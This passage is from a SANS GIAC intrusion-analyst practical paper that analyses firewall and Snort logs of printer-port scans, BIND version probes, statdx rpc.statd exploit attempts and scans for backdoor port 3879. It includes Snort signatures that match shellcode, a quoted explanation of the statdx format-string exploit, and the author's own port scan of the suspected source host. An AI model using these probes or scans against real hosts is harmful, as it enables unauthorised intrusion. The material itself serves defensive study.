GIAC
CERTIFICATIONS

Global Information Assurance Certification Paper

Copyright SANS Institute
Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permited without express written permission.

Interested in learning more?

Check out the list of upcoming events offering
"Network Monitoring and Threat Detection In-Depth (Security 503)"
at http://www.giac.org/registration/gcia

GIAC Certified Intrusion Analyst (GCIA) Certification
Practical Assignment V2.8a

Nathaniel Kim

Assignment I – Network Detects

Detect 1 – LPD Port Reconnaissance

Data 1-a

1	2	3	4	5	6	7	8	9	10	11	12	13	14
0:24:28	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.142	service	printer	s_port	1545
0:24:28	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.128	service	printer	s_port	1531
0:24:28	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.129	service	printer	s_port	1532
0:24:28	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.137	service	printer	s_port	1540
0:24:29	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.130	service	printer	s_port	1533
0:24:29	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.131	service	printer	s_port	1534
0:24:29	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.134	service	printer	s_port	1537
0:24:29	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.139	service	printer	s_port	1542
0:24:29	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.140	service	printer	s_port	1543
0:24:29	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.141	service	printer	s_port	1544
0:24:29	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.136	service	printer	s_port	1539
0:24:29	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.143	service	printer	s_port	1546

…
Cut for brevity
…

0:44:04	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.135	service	printer	s_port	4166
0:44:06	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.138	service	printer	s_port	4165
0:44:06	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.131	service	printer	s_port	4163
0:44:06	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.130	service	printer	s_port	4167
0:44:06	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.131	service	printer	s_port	4163
0:44:07	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.135	service	printer	s_port	4166
0:44:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.133	service	printer	s_port	4161
0:45:37	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.133	service	printer	s_port	4161

…
Cut for brevity
…

0:51:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.133	service	printer	s_port	4161
0:53:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.135	service	printer	s_port	4166
0:55:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.135	service	printer	s_port	4166
0:55:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.133	service	printer	s_port	4161

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

0:57:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.133	service	printer	s_port	4161
0:57:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.135	service	printer	s_port	4166
0:59:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.135	service	printer	s_port	4166
0:59:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.133	service	printer	s_port	4161
1:01:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.133	service	printer	s_port	4161
1:01:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.135	service	printer	s_port	4166

1. Source of Trace:

The trace was obtained from a Nokia firewall running Check Point FireWall-1 which screens and filters traffic to a customer's web servers from the Internet. The activity shown in the trace took place in early April of 2001.

The firewall log format is described in the following table:

Columns Number	Description	Example
1	The time of day the event occurred	0:24:28
2	Action taken by the firewall	reject
3	Internal IP address of the firewall	aaa.ddd.eee.162
4	Hardware interface at which the logged event occurred	>if1
5	The communication protocol used	proto
6	Protocol name	tcp
7	Source	src
8	Source IP address	163.23.24.80
9	The destination of the communication	dst
10	Destination IP address	aaa.bbb.ccc.142
11	The service (destination port) requested by this communication	service
12	Destination port number or name	Printer
13	Source port	s_port
14	Source port number or name	1545

Table 1-a. Check Point FireWall-1 log format

Further information on Check Point FW-1 log is available from the Check Point site at http://www.checkpoint.com/products/reporting/whatsinalog.html.

2. Detect was generated by:

This trace was detected after sorting the firewall log for a particular day by the source IP address (src) field. The intent was to see if any particular host repeatedly sent any packets that were blocked by the firewall. The connections shown in this detect stood out from the rest of logged connections because sheer number of connections from one host, 163.23.24.80, to access a single printer port on systems in range of aaa.bbb.ccc.130 to aaa.bbb.ccc.142. It was interesting to see this many connections to print port when none of the web servers have printer port enabled.

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

The activity to the printer port took place for 36 minutes 45 seconds. Although, none of the hosts in this address range has the printer port open and was listening, a total of 140 connection attempts were made and but rejected or dropped by the firewall.

3. Probability the source address was spoofed:

The possibility that the source IP address was spoofed is very low because these connections have come from a host that had completed three-way handshake for the connection requests shown in the trace. This can be stated because the firewall, which responded to these attempted connections to printer port, is positioned in front of web servers but behind a Cisco router which is operating with the TCP intercept feature to protect the web servers from TCP SYN-flooding attack, which is a type of denial-of-service (DOS) attack.

A server can experience the SYN-flood condition when the server receives a barrage of connection requests that are not completed by the source host(s). When two computer systems need to communicate using TCP/IP, they must complete three-way handshake as shown below:

Source	SYN →	Destination
Source	← SYN/ACK	Destination
Source	ACK →	Destination

During the handshake process, the computer systems have to store relevant information about the other computers in memory. However, if the number of unresolved connection requests continues to grow, the server will be eventually overwhelmed and can deny new connections whether the connections are from legitimate sources for valid services or not.

To prevent the SYN-flooding DOS attacks, the Cisco router uses the TCP Intercept feature to intercept and validate all new TCP connection requests on behalf of the web servers it is protecting. The router drops the connection requests from clients with incomplete three-way handshake. If the three-way handshake is successfully established, the router hands the connection requests from clients to the server transparently to both parties. This ensures that the connection requests from only reachable hosts will make it to the web servers.

4. Description of attack:

The log below suggests that the hacker initiated the scan activity multiple times. This conclusion was reached from the facts that there is an observable relationship between the destination IP address and the source port and this relationship changed several times.

Data 1-b

		Activity A												
0:24:28	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.142	service	printer	s_port	1545	
…														
0:26:03	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.140	service	printer	s_port	1543	
		Activity B												

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

0:27:23	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.128	service	printer	s_port	3866
…														
0:27:25	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.140	service	printer	s_port	3874
		Activity C												
0:27:37	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.128	service	printer	s_port	1531
…														
0:39:39	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.140	service	printer	s_port	1543
		Activity D												
0:40:33	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.138	service	printer	s_port	4209
…														
0:40:35	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.130	service	printer	s_port	4221
		Activity E												
0:41:37	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.128	service	printer	s_port	1531
…														
0:43:39	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.140	service	printer	s_port	1543
		Activity F												
0:44:03	reject	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.139	service	printer	s_port	4160
…														
0:45:37	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.135	service	printer	s_port	4166
		Activity G												
0:45:37	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.128	service	printer	s_port	1531
…														
0:45:39	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.133	service	printer	s_port	1536
		Activity H												
0:47:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.135	service	printer	s_port	4166
…														
0:47:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.133	service	printer	s_port	4161
		Activity I												
0:47:37	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.128	service	printer	s_port	1531
…														
0:47:39	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.140	service	printer	s_port	1543
		Activity J												
0:49:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.133	service	printer	s_port	4161
0:51:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.135	service	printer	s_port	4166
0:51:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.133	service	printer	s_port	4161
0:53:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.135	service	printer	s_port	4166
0:55:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.135	service	printer	s_port	4166
0:55:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.133	service	printer	s_port	4161
0:57:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.133	service	printer	s_port	4161
0:57:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.135	service	printer	s_port	4166
0:59:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.135	service	printer	s_port	4166
0:59:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.133	service	printer	s_port	4161
1:01:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.133	service	printer	s_port	4161
1:01:13	drop	aaa.ddd.eee.162	>if1	proto	tcp	src	163.23.24.80	dst	aaa.bbb.ccc.135	service	printer	s_port	4166

Activities	Difference between source port and last octet of destination IP address

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

A	1403
B	3738
C	1403
D	4071
E	1403
F	4021
G	1403
H	4031
I	1403
J	4028

Table 1-b. Relationship between source ports and destination IP addresses

As the log and Table 1-a suggest, the connection requests came from a single host, but in multiple waves that are very close to each other. Moreover, Activities A, C, E, G, and I have the difference of 1403 between source ports and the last octet of destination IP addresses. These facts indicate that the hacker had to be using some sort of program or script or combination of them to send connection requests to a range of hosts in a somewhat random fashion and yet keep a constant difference between the source ports and destination IP address.

Since all connectivity from the host 163.23.24.80 was directed dedicated to looking for printer port, I searched for any vulnerabilities or exposures associated with printer port. Using the SecurityFocus web site, I was able to locate the following vulnerabilities that were associated with printer port, or TCP port 515, and that could cause a system to be exploited from a remote system:

- Ipswitch WinCOM LPD 1.00.90 DoS Vulnerability (CAN-2000-0839)
- NT / Windows 2000 TCP/IP Printing Service DoS Vulnerability (CVE-2000-0232)
- Solaris cancel Vulnerability (CVE-1999-0410)
- HP-UX rlpdaemon Vulnerability (No corresponding CVE number)
- Redhat Linux lpd Vulnerabilities (No corresponding CVE number)
- Input Validation Problems in LPRng (CERT Advisory CA-2000-22)

5. Attack mechanism:

The trace shows that this is a scan and not an attack as only the printer port is being targeted on different hosts. The connections that have been captured in the firewall log are all stimulus as the connection requests are result of the router running TCP Intercept handing them to the firewall transparently from the source of the connection request. However, the firewall rejected and dropped these connections because there were no rules to allow these connections to port 515.

These connections were directed to the printer port, TCP port 515, which has several well-known vulnerabilities as shown in the Description of Attack section above. However, among the identified vulnerabilities above with lpr or printer service, the only applicable vulnerability that would have been affective against the web servers is the Solaris cancel Vulnerability (CVE-1999-0410). According to SecurityFocus site, a program such as cancelx can take advantage of this known vulnerability if the printer daemon were accessible remotely.

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

6. Correlations:

According to the Alert 01-010 by the National Infrastructure Protection Center (NIPC) on April 30, 2001, there has been a significant increase in activity involving port 111 and 515. The trace shown in Data 1-a and Data 1-b seems to be a part of this increased activity to port 515, looking to see if the hosts aaa.bbb.ccc.130 to .142 have the vulnerable printer port.

Although none of the web servers was servicing the printer port through the firewall, the attacker might have seemed to think otherwise looking at the responses from this port on multiple hosts when a round of scanning revealed that the ports were open. The reason the port 515 seemed to be open is because the Cisco router running TCP Intercept responded to the TCP three-way handshake from the attacker without any regards to the firewall rule base.

The connections were initiated from the IP address 163.23.24.80, which belongs to Ministry of Education Computer Center in Taiwan. Searching the ***American Registry for Internet Numbers(ARIN)*** database for this IP address gave the following information about the network, which owns the source IP address of the detected activity:

> Ministry of Education Computer Center (NET-TANET-B-11)
> 12th Fl, 106, Hoping E. Road, Sec 2.
> Taiwan Republic of China, R.O.C
> TW
>
> Netname: TANET-B-11
> Netblock: 163.23.0.0 - 163.23.255.255
>
> Coordinator:
> TANet, Administrator (AT122-ARIN) tanetadm@moe.edu.tw
> 886-2-27377010-295
>
> Domain System inverse mapping provided by:
>
> NCHUD1.NCHU.EDU.TW 140.120.1.2
> PDS.NCHU.EDU.TW 140.120.1.21
>
> Record last updated on 30-Apr-1999.
> Database last updated on 18-May-2001 22:50:55 EDT.

I searched the Deja.com Usenet archive and used Lycos as well as HotBot search engines to see if there have any other reported activities from the host 163.23.24.80, but I did not get any hit. To see what kind of host I am dealing with, I conducted a brief port scan and received responses from the ports 22(ssh), 23(telnet), 21(ftp), 79(finger), 80(http), and 113(auth).

Telnetting to port 80, 21, and 23 showed that the attacker host is a Red Hat Linux system with little system hardening as I was able to access the login prompt.

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

```
HTTP/1.1 400 Bad Request
Date: Sat, 19 May 2001 17:07:37 GMT
Server: Apache/1.3.14 (Unix)  (Red-Hat/Linux) mod_ssl/2.7.1 OpenSSL/0.9.5a DAV/1
.0.2 PHP/4.0.4pl1 mod_perl/1.24
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
                                    <HTML><HEAD>
                                            <TITLE>400 Bad Request</TITLE>
        </HEAD><BODY>
                <H1>Bad Request</H1>
                                Your browser sent a request that this server could not
understand.<P>
                            Invalid URI in request get head http/1.0<P>
                                                        <HR>
 <ADDRESS>Apache/1.3.14 Server at ifpc80.csie.dyu.edu.tw Port 80</ADDRESS>
                                                    </BODY></HTML>

Connection to host lost.
```

Next, I scanned to see if the printer port of this host was active and it was. This suggests that this system could have been compromised with the one of the vulnerabilities listed above for Red Hat Linux systems and was used to scan other systems with same vulnerability. The reason that this system also seems to have been compromised is that the system shows signs lax security measures and even neglect. No access controls such as TCP Wrappers seem to be in use. Also, vulnerable ports are accessible from the Internet.

7. Evidence of active targeting:

This trace shows there is an active targeting toward a group of hosts whose IP addresses are from aaa.bbb.ccc.130 and .142 to search for live printer port but the scan is not directed toward a specific host.

8. Severity:

The severity in this detect is calculated to be 0. The formula is the sum of Criticality and Lethality less the sum of Network and Host Countermeasures.

In this detect, criticality is 5 since we are dealing with web servers for a high-profiled customer. However, lethality is 0 as the vulnerabilities does not apply to systems without any printer service or daemon running. Network countermeasures are 5 as the web servers and other systems in this address range are protected by a firewall, which blocks all connections to TCP port 515. Host countermeasures are 5, since the servers are patched with latest fixes and the lpd or printer port is not listening on the port. The severity sum then becomes (5+0)-(5+5)<0.

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

9. Defensive recommendation:

Defenses are fine as the attack to TCP port 515 was blocked by the firewall. However, these web servers' LPD or Printer service should be checked out for the latest patches from the vendor of the OS. Also, the policy regarding the TCP Intercept on the Cisco router can be reviewed to disable the TCP Intercept on unnecessary ports to prevent alluring the potential hackers with "fake" vulnerable services.

10. Multiple choice test question:

If a router is said to have TCP Intercept feature, what DOS attack is this router capable of protecting?

a) Land attack
b) Smurf attack
c) SYN-flood
d) RST-flood

Answer: 3. SYN-flood. TCP Intercept is a feature on Cisco routers implemented to protect network-connected hosts from SYN-flood DOS.

Detect 2 – Single Source IP BIND and RPC.STATD Vulnerability Scan

Data 2

```
Feb 23 16:35:35 hostm named[5978]: security: notice: denied query from
  [62.100.36.210].1035 for "version.bind"
Feb 23 16:35:35 hostm named[5978]: security: notice: denied query from
  [62.100.36.210].1035 for "version.bind"
Feb 23 16:35:35 hostm snort[16556]: IDS278 - SCAN -named Version probe:
  62.100.36.210:1035 -> z.y.w.98:53
Feb 23 16:43:16 hosty named[1329]: security: notice: denied query from
  [62.100.36.210].1037 for "version.bind"
Feb 23 16:43:16 hosty named[1329]: security: notice: denied query from
  [62.100.36.210].1037 for "version.bind"
Feb 23 16:43:16 hosty snort[80143]: IDS278 - SCAN -named Version probe:
  62.100.36.210:1037 -> z.y.w.34:53

Feb 23 17:14:15 hostm snort[16556]: IDS10 - RPC -
  portmap-request-rstatd: 62.100.36.210:703 -> z.y.w.98:111
Feb 23 17:14:15 hostm snort[16556]: MISC-Attempted Sun RPC high port
  access: 62.100.36.210:704 -> z.y.w.98:32771
Feb 23 17:14:16 hostm snort[16556]: IDS442 - RPC Statdx Exploit:
  62.100.36.210:704 -> z.y.w.98:32771
Feb 23 17:14:16 hostm snort[16556]: MISC-Attempted Sun RPC high port
  access: 62.100.36.210:704 -> z.y.w.98:32771
Feb 23 17:20:03 hosty snort[80143]: IDS10 - RPC -
  portmap-request-rstatd: 62.100.36.210:987 -> z.y.w.34:111
Feb 23 17:20:03 hosty snort[80143]: IDS442 - RPC Statdx Exploit:
  62.100.36.210:988 -> z.y.w.34:1024
```

© SANS Institute 2000 - 2002, Author retains full rights.

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

1. Source of Trace:

This detect shown in Data 2 was taken from http://www.sans.org/y2k/022801-1100.htm.

2. Detect was generated by:

The detect appears to be combined alarm messages generated by Snort and Named daemon on hosts hostm(z.y.w.98) and hosty(z.y.w.34). The messages from each host suggest that Snort and Named are both running on each server and writing to syslog as the common format suggests.

Looking at the Snort alert messages, the following signatures seemed to have been used to detect the DNS and RPC activities:

> *alert TCP $EXTERNAL any -> $INTERNAL any (msg: "IDS442/rpc-statdx-exploit"; flags: A+; rpc: 100024,*,*; content: "/bin|c74604|/sh";)*
> alert UDP $EXTERNAL any -> $INTERNAL 111 (msg: "IDS10/portmap-request-rstatd"; rpc: 100001,*,*; content: "|0186a1|";)
> *alert UDP $EXTERNAL any -> $INTERNAL 53 (msg: "IDS278/named-probe-version"; content: "|07|version"; offset: 12; nocase; content: "|04|bind"; offset: 12; nocase;)*

3. Probability the source address was spoofed:

It is unlikely the source IP address was spoofed in this detect. As the attacker tries to find out the BIND version number, the reconnaissance scan requires the response to be delivered back to the source. Although it is easy to spoof the source IP address in a UDP packet, the spoofed source IP address would cause the potential reply to be sent to another system. In this trace, we see only one source IP address that indicates it probably has not been spoofed. If there were logged activity showing same type of scan and query from other hosts, the probability of spoofed IP address being used may increase.

The statdx exploit also requires TCP connection which has to complete three-way handshake in order to communicate with the server. This would make it extra difficult for the attacker to spoof the IP address and use this exploit.

4. Description of attack:

According to the trace, the attacker seems to know what s/he wanted to get out of the target DNS servers since the trace doesn't show any port scan to detect what services are running. Instead, the attacker went for just two services.

The trace shows the attacker targeting three different services on two different systems – hostm and hosty – for possible vulnerabilities. The first service to be targeted on DNS servers is BIND (Berkeley Internet Name Daemon). The attacker requests for the version number of the BIND but the requests were denied as shown in the trace. The BIND version was to have been revealed

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

the attacker could have find out if that particular BIND was vulnerable to attacks such as buffer overflow attack(CVE-1999-0009). However, without gaining much intelligence on BIND on hostm and hosty servers, the attacker moves on to the next set of probe and attack.

In the second attack, which took place about 30 minutes after the first attack, the attacker asked the portmap daemon on hostm and hosty about the port number for RPC service rstatd. The rstatd daemon which can give detailed information about the host and could be vulnerable to buffer overflow attack if the version of rstatd daemon is old. Max Vision's Whitehats Intrusion Detection Event Database describes the rstatd service as "a public information service that provides information about the status of a server, including performance statistics. This information is frequently sensitive, and provides clues as to the configuration and performance capabilities of a system."

It cannot be determined from the trace whether the attacker received any response back from the portmap on DNS servers to the requests for port numbers of rstatd service. However, we see the attacker trying to access the port 32771 and 1024 immediately after the request was made, which makes me think that the portmap daemon did respond back to the attacker with these ports. The strange thing is that the attacker was using the exploit called statdx against these ports – 32771 and 1024 – for rstatd.

Per Max Vision's Whitehats site, the statdx exploit tries to take advantage of the common vulnerability for rpc.statd service such as input validation problem in rpc.statd (CVE-2000-0666). However, in this case, the attack could not have been effective since the targeted service is rstatd. Upon searching the web sites SecurityFocus.com and deja.com, I came across the following additional vulnerabilities with rpc.statd service:

- Buffer Overrun Vulnerability in statd(1M) Program - CERT® Advisory CA-97.26.statd
- rpc.statd vulnerable to remote root compromise via format string stack overwrite - CERT® Advisory Vulnerability Note VU#34043
- Solaris rpc.statd rpc Call Relaying Vulnerability - CVE-1999-0493

However, I was not able to locate any reported vulnerability with the rstatd service although some older versions of the rstatd service are known to be vulnerable to buffer overflow attacks allowing remote root access. An actual attempt to exploit the vulnerability of rstatd is discussed in Detect #4.

5. Attack mechanism:

In the first attack, the named daemon on two DNS servers denied giving out the version number of BIND. As if the attacker did not want to waste his or her time trying to find out what exploit would work on these named daemons, he or she moved on to attack identified RPC rstatd service with the known exploit called statdx per Snort alert.

The Snort seems to be using a standard rpc.rule set which includes the signature for statdx attack. The statdx exploit documentation and source code were available from Max Vision's Whitehats

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

site for reference. Per the comment in the source code of statdx program, written by ron1n, the tool was written as a Redhat Linux 6.0/6.1/6.2 rpc.statd remote root exploit in August, 2000.

Ron1n gives the following background information about the rpc.statd and a format string vulnerability for which he wrote the exploit:

> "rpc.statd is an ONC RPC server that implements the Network Status Monitor RPC protocol to provide reboot notification. It is used by the NFS file locking service (rpc.lockd) when it performs lock recovery.
>
> Due to a format string vulnerability in a call to syslog() within its logging module, rpc.statd can be exploited remotely by script kids bent on breaking into your Redhat Linux box and defacing your website with crackpot political musings.
>
> This is not a traditional buffer overflow vulnerability. The data are kept within the bounds of the buffer by means of a call to vsnprintf(). The saved return address can be overwritten indirectly without a contiguous payload. syslog() is given, for the most part, a user-supplied format string with no process-supplied arguments.
>
> Our format string will, if carefully constructed, cause the process to cull non-arbitrary addresses from the top of the stack for sequential writes using controlled values. Exploitation requires an executable stack on the target host -- almost invariably the case. This problem was corrected in the nfs-utils-0.1.9.1 rpm."

A detailed analysis of rpc.statd exploit "statdx.c" by George Bakos can also be referenced from SANS' web site.

In addition to using the statdx.c program to attack the rpc.statd service, the attacker seems to have used a script to coordinate the information gathered from the portmapper service on the DNS server to attack the ports which were supposedly for rpc.statd service. The speed at which these UDP and TCP packets came to the DNS servers seems to support this idea. Also, the script might have supplied the port number for rstatd instead of statd service to cause the statdx.c exploit to be launched against wrong ports.

6. Correlations:

Searching the google.com site for statdx revealed that this tool was widely used to exploit Red Hat Linux systems around the world.

When I searched google.com, lycos.com and sans.org sites using the IP address 62.100.36.210, only one other reference was made to this address in the SANS Global Incident Analysis Center > Current Report at http://www.sans.org/y2k/032201-1000.htm.

Per RIPE ARIN, the address belongs to XO Communications.

> **inetnum: 62.100.34.0 - 62.100.47.255**

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

netname: CNCNL01
descr: XO Communications netblocks
country: NL
admin-c: CNN1-RIPE
tech-c: CNN1-RIPE
status: ASSIGNED PA
notify: beheer@nl.xo.com
mnt-by: CNCNL-MNT
changed: stefan@nl.xo.com 20001222
source: RIPE

7. Evidence of active targeting:

The trace shows plenty signs of active targeting as the attacker was not only interested in the mentioned two DNS servers but also specific services.

8. Severity:

The severity of this attack is a 4.

(Criticality + Lethality) – (System Countermeasures + Network Countermeasures) = Severity

Criticality = 5. These systems are DNS servers which are critical servers for many networks. These systems can reveal invaluable information about a network if they are compromised.

Lethality = 4. The probes and attack carried out in this trace could be very potent depend on the OS version of the Linux servers.

System Countermeasures = 2. Although the DNS server denied the version request for BIND, the RPC portmapper service was available.

Network Countermeasures = 3. There is a network-based intrusion detection system in place to monitor the network traffic, however, there doesn't seem to be a firewall blocking traffic to useful and yet vulnerable RPC services.

9. Defensive recommendation:

The RPC programs should be disabled unless they are absolutely necessary. Also, a firewall should block out incoming traffic to RPC services. The NFS services should have the latest patches installed to prevent these vulnerabilities from opening a hole on the system.

10. Multiple choice test question:

Q. For statdx.c exploit to work, what service or daemon is required to run on the target host?

© SANS Institute 2000 - 2002 Author retains full rights.
© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

a) POP3
b) BIND
c) rpc.statd
d) imap

The answer to the question is c. statdx.c exploit was specifically written for a format string vulnerability of rpc.statd service.

Detect 3 – Scanning for Compromised Systems

Data 3

```
(Andrew Daviel)
Just noticed several small scans for tcp port 3879.  Processed from Snort
portscan logs:

Source: 146.96.242.15 (146.96.242.15)
Destination port: 3879 () SYN flags: ******S* Count: 79
Times in PDT (UTC -0700)
Apr 3 00:49:14 146.96.242.15:4954 -> 142.90.100.4:3879 SYN ******S*
Apr 3 00:49:39 146.96.242.15:3794 -> 142.90.100.51:3879 SYN ******S*
etc.
Source: 195.223.184.81 (195.223.184.81)
Destination port: 3879 () SYN flags: ******S* Count: 56
Times in PDT (UTC -0700)
Apr 2 09:02:11 195.223.184.81:1059 -> 142.90.100.2:3879 SYN ******S*
Apr 2 08:57:28 195.223.184.81:2181 -> 142.90.100.1:3879 SYN ******S*
etc.
Source: 203.86.3.94 (203.86.3.94)
Destination port: 3879 () SYN flags: ******S* Count: 50
Times in PDT (UTC -0700)
Apr 3 00:02:07 203.86.3.94:2675 -> 142.90.100.54:3879 SYN ******S*
Apr 3 00:06:16 203.86.3.94:3828 -> 142.90.107.6:3879 SYN ******S*
etc.
Source: 210.161.41.56 (210.161.41.56)
Destination port: 3879 () SYN flags: ******S* Count: 47
Times in PDT (UTC -0700)
Apr 2 20:02:21 210.161.41.56:1937 -> 142.90.100.1:3879 SYN ******S*
Apr 2 20:01:19 210.161.41.56:4794 -> 142.90.100.2:3879 SYN ******S*
etc.
Source: adsl-63-195-2-66.dsl.chic01.pacbell.net (63.195.2.66)
Destination port: 3879 () SYN flags: ******S* Count: 44
Times in PDT (UTC -0700)
Apr 2 23:56:05 63.195.2.66:1425 -> 142.90.100.1:3879 SYN ******S*
345 of these yesterday and 108 the day before  3879 seems to be the source
port being used to scan for DNS on port 53 recently; coincidence ? I'd seen a
dialup machine in t-dialin.net scanning for ftp last month.
```

1. Source of Trace:

The trace shown in Data 3 was obtained from http://www.sans.org/y2k/040401.htm**.**

© SANS Institute 2000 - 2002, Author retains full rights.

2. Detect was generated by:

This detect was generated by Snort as stated by Andrew Daviel. The log shows connection requests to port 3879 of various hosts in 142.90.100. and 142.92.107. network.

3. Probability the source address was spoofed:

It is not likely the source addresses were spoofed in this trace. The connection requests came from 5 different hosts on 2 different days all at different times. If the addresses were spoofed, there should have been groups of these packets since the spoofed addresses are usually used to hide the true source. In this case, the attackers seem to be taking time not to draw any attention as the connections are spread out even if they came from a same host.

4. Description of attack:

This is a collection of reconnaissance scans for port 3879 which, when open on a system, would indicate the system most likely has been compromised and the system will serve a shell when someone connects to the port.

It is not obvious at this point if any attacker is using which scanning tool to scan the hosts for this port, but it would be safe to assume that they are using one of easily accessible scanning tools to survey several dozens of hosts at a desired interval.

5. Attack mechanism:

